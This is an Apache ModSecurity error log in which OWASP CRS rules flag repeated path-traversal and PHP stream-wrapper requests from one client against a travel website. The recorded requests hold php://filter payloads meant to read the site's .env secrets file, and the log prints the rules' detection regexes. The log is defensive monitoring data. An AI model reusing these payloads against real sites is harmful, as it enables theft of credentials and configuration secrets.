[Fri Jul 17 08:55:10.832655 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:path: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglivekYYQ8uns4MwlOgAAAA0"]
[Fri Jul 17 08:55:10.834418 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&path=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&ref=78yVMvvxjCVZYLSx5MA6I6MBkWppHvbfC0Oti5jdPlfEZuDUieg6SO3KC8TqpbF9uRiuF32vhcYVLzk-Wlr-GzEAyztz9a3Gp5kv6k2l3tcqngCFMLOYCrqp3dpT0B6WKNkVFvIb7ndP1e9wI_u98tIjo8eeimg5Kqqzd9g59tHG5ZNz3SItMNbZopSp4LLQRL4tlaO2pFt67e-RRpTiCoqy31Hve-aZlomc_NOxnQHlxvO4G_fWzx0oAVLbN5JtF2wjfphEgYkSIhBHHpd-PLoX&cb=EE7LI4M6XWSOYUYYEB373KHTCHMIX7IPLK5XZ7AJEH6Z5V3EHYIDBLBSOIK2YLGE..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8eAAAABA"]
[Fri Jul 17 08:55:10.834476 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8eAAAABA"]
[Fri Jul 17 08:55:10.834533 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&path=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&ref=78yVMvvxjCVZYLSx5MA6I6MBkWppHvbfC0Oti5jdPlfEZuDUieg6SO3KC8TqpbF9uRiuF32vhcYVLzk-Wlr-GzEAyztz9a3Gp5kv6k2l3tcqngCFMLOYCrqp3dpT0B6WKNkVFvIb7ndP1e9wI_u98tIjo8eeimg5Kqqzd9g59tHG5ZNz3SItMNbZopSp4LLQRL4tlaO2pFt67e-RRpTiCoqy31Hve-aZlomc_NOxnQHlxvO4G_fWzx0oAVLbN5JtF2wjfphEgYkSIhBHHpd-PLoX&cb=EE7LI4M6XWSOYUYYEB373KHTCHMIX7IPLK5XZ7AJEH6Z5V3EHYIDBLBSOIK2YLGEJOSESMFE7FW2JMSCKXHGYV36RBCN..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8eAAAABA"]
[Fri Jul 17 08:55:10.834600 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&path=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&ref=78yvmvvxjcvzylsx5ma6i6mbkwpphvbfc0oti5jdplfezuduieg6so3kc8tqpbf9uriuf32vhcyvlzk-wlr-gzeayztz9a3gp5kv6k2l3tcqngcfmloycrqp3dpt0b6wknkvfvib7ndp1e9wi_u98tijo8eeimg5kqqzd9g59thg5znz3sitmnbzopsp4llqrl4tlao2pft67e-rrpticoqy31hve-azlomc_noxnqhlxvo4g_fwzx0oavlbn5jtf2wjfphegyksihbhhpd-plox&cb=ee7li4m6xwsoyuyyeb373khtchmix7iplk5xz7ajeh6z5v3ehyidblbsoik2ylgejosesmfe7fw2jmsckxhgyv36rbcn..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8eAAAABA"]
[Fri Jul 17 08:55:10.834650 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8eAAAABA"]
[Fri Jul 17 08:55:10.834677 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8eAAAABA"]
[Fri Jul 17 08:55:10.834839 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglivekYYQ8uns4MwlOgAAAA0"]
[Fri Jul 17 08:55:10.835047 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:path: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8eAAAABA"]
[Fri Jul 17 08:55:10.835178 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.835276 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&path=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&token=mwJErbPPW03YIm4_xWpB9_Aa9Fp6kl1T9YSyCkYmV3RqxFDAtCURwvNHazhBt_e8IVWYQIzkZuTiWfNEDcWB8ausrE_rkhcZcczG6lWPMjKFT7v8sLT_5me5FY0w1n4fWW_99I6eCtxIQGfOLFYHJ9n6kS7sZUE8oNXruvhjS043LcC0CrsHK33-KM41IfXBZGBrlAaNXVbpMSvE8Uiauif-3f63-D_8iXXD85D62b_obBpIkRMgHfrkuk2iL3Z_1fsd8_g39zEM3USu6-5HK2uc&extra=CMCDGYK7DQHBOLGZPHSMDAKLFKMKHLWWMTPFNSDYAGLEHBG..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6jAAAABE"]
[Fri Jul 17 08:55:10.835332 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6jAAAABE"]
[Fri Jul 17 08:55:10.835405 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&path=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env&token=mwJErbPPW03YIm4_xWpB9_Aa9Fp6kl1T9YSyCkYmV3RqxFDAtCURwvNHazhBt_e8IVWYQIzkZuTiWfNEDcWB8ausrE_rkhcZcczG6lWPMjKFT7v8sLT_5me5FY0w1n4fWW_99I6eCtxIQGfOLFYHJ9n6kS7sZUE8oNXruvhjS043LcC0CrsHK33-KM41IfXBZGBrlAaNXVbpMSvE8Uiauif-3f63-D_8iXXD85D62b_obBpIkRMgHfrkuk2iL3Z_1fsd8_g39zEM3USu6-5HK2uc&extra=CMCDGYK7DQHBOLGZPHSMDAKLFKMKHLWWMTPFNSDYAGLEHBGBQCZD54DV7MSKVMO37GUNET7ZZ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6jAAAABE"]
[Fri Jul 17 08:55:10.835460 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&path=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env&token=mwjerbppw03yim4_xwpb9_aa9fp6kl1t9ysyckymv3rqxfdatcurwvnhazhbt_e8ivwyqizkzutiwfnedcwb8ausre_rkhczcczg6lwpmjkft7v8slt_5me5fy0w1n4fww_99i6ectxiqgfolfyhj9n6ks7szue8onxruvhjs043lcc0crshk33-km41ifxbzgbrlaanxvbpmsve8uiauif-3f63-d_8ixxd85d62b_obbpikrmghfrkuk2il3z_1fsd8_g39zem3usu6-5hk2uc&extra=cmcdgyk7dqhbolgzphsmdaklfkmkhlwwmtpfnsdyaglehbgbqczd54dv7mskvmo37gunet7zz..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6jAAAABE"]
[Fri Jul 17 08:55:10.835507 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6jAAAABE"]
[Fri Jul 17 08:55:10.835540 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6jAAAABE"]
[Fri Jul 17 08:55:10.835922 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglivekYYQ8uns4MwlOgAAAA0"]
[Fri Jul 17 08:55:10.836028 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:path: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6jAAAABE"]
[Fri Jul 17 08:55:10.836084 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8eAAAABA"]
[Fri Jul 17 08:55:10.836200 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.836484 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglkkXT4NBqALj2lZ8eAAAABA"]
[Fri Jul 17 08:55:10.837606 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgloe39YUk0SgV8AU6jAAAABE"]
[Fri Jul 17 08:55:10.837779 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.838166 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgloe39YUk0SgV8AU6jAAAABE"]
[Fri Jul 17 08:55:10.839955 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&path=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&cb=Rce_znibgeGYtun5z8kYpYPPPrvrTwqTil4jBaI71BUwM8VnIaCDWk9UXYNNFxDauDW6CkEu99U0v843fQE-t6_hYxrpuEk3FU9sPTLR2XqIVAS0c1R5VnJZ0EIxPBK-ZZXtRhxrsgDoOdFJSNk8IyXB-x-bdgCaRC0K4iqumCufyOIYqaCmGcuNTkc2dOju8IQ0PRNZV4GNKLQYt0PF0TCjEM0dYsHQhvMD6dWE9c2-OGs6huTBtY24eCAYPyOjetZN2Gb2NY7hNq8lg3rF7YVt&junk=BUUFTD27LLR47Z24CQAI3GATJALIHGBMOZWJMFKB7EYVTRJRNZAALZ4M2AXD6IL2JB6Q..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSYwAAAB4"]
[Fri Jul 17 08:55:10.840173 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:path: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSYwAAAB4"]
[Fri Jul 17 08:55:10.840352 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&path=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&cb=Rce_znibgeGYtun5z8kYpYPPPrvrTwqTil4jBaI71BUwM8VnIaCDWk9UXYNNFxDauDW6CkEu99U0v843fQE-t6_hYxrpuEk3FU9sPTLR2XqIVAS0c1R5VnJZ0EIxPBK-ZZXtRhxrsgDoOdFJSNk8IyXB-x-bdgCaRC0K4iqumCufyOIYqaCmGcuNTkc2dOju8IQ0PRNZV4GNKLQYt0PF0TCjEM0dYsHQhvMD6dWE9c2-OGs6huTBtY24eCAYPyOjetZN2Gb2NY7hNq8lg3rF7YVt&junk=BUUFTD27LLR47Z24CQAI3GATJALIHGBMOZWJMFKB7EYVTRJRNZAALZ4M2AXD6IL2JB6QZ7I5AUWBGLI67DXLKOPFXN2DIT..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllCBpfuYyhJ140vSYwAAAB4"]
